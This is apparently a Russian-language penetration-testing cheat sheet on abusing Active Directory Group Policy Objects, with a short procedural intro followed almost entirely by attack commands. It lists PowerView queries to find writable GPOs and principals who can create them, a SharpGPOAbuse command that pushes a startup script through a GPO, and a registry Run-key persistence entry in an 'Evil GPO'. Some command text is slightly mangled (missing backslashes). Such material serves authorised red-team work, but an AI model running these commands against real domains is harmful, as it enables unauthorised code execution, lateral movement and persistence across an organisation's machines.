GPO
:::tip Формат страницы
Порядок действий описан по‑русски. В методике сохранены заголовки (частично локализованы типовые термины), таблицы, иллюстрации и блоки кода: команды и параметры на английском, без перевода синтаксиса.
:::
Порядок действий
1. Зафиксируйте роль в домене и допустимые техники (read‑only / согласованная эксплуатация).
2. Соберите данные для картирования атаки (учётки, делегирование, доверия).
3. Двигайтесь по сценариям раздела с планом отката и контролем DC.
4. Команды и инструменты в блоках кода — на английском.
Методика
Modifiable GPOs
Get-DomainGPO | Get-DomainObjectAcl -ResolveGUIDs | ? { $_.ActiveDirectoryRights -match "CreateChild|WriteProperty" -and $_.SecurityIdentifier -match "S-1-5-21-569305411-121244042-2357301523-[d]{4,10}" }
Get-DomainGPO -Identity "<ObjectDN>" | select displayName, gpcFileSysPath
ConvertFrom-SID <SecurityIdentifier>
Get-DomainOU -GPLink "{RelativeDN}" | select distinguishedName
Get-DomainComputer -SearchBase "<OU_distinguishedname>" | select dnsHostName
.SharpGPOAbuse.exe --AddComputerScript --ScriptName startup.bat --ScriptContents "<SCRIPT_CONTENT>" --GPOName "<GPO_NAME>"
Principals with Create groupPolicyContainer objects privilege
Get-DomainObjectAcl -Identity "CN=Policies,CN=System,DC=dev,DC=cyberbotic,DC=io" -ResolveGUIDs | ? { $_.ObjectAceType -eq "Group-Policy-Container" -and $_.ActiveDirectoryRights -contains "CreateChild" } | % { ConvertFrom-SID $_.SecurityIdentifier }
Set-GPPrefRegistryValue -Name "Evil GPO" -Context Computer -Action Create -Key "HKLMSoftwareMicrosoftWindowsCurrentVersionRun" -ValueName "Updater" -Value "<COMMAND>" -Type ExpandString
—





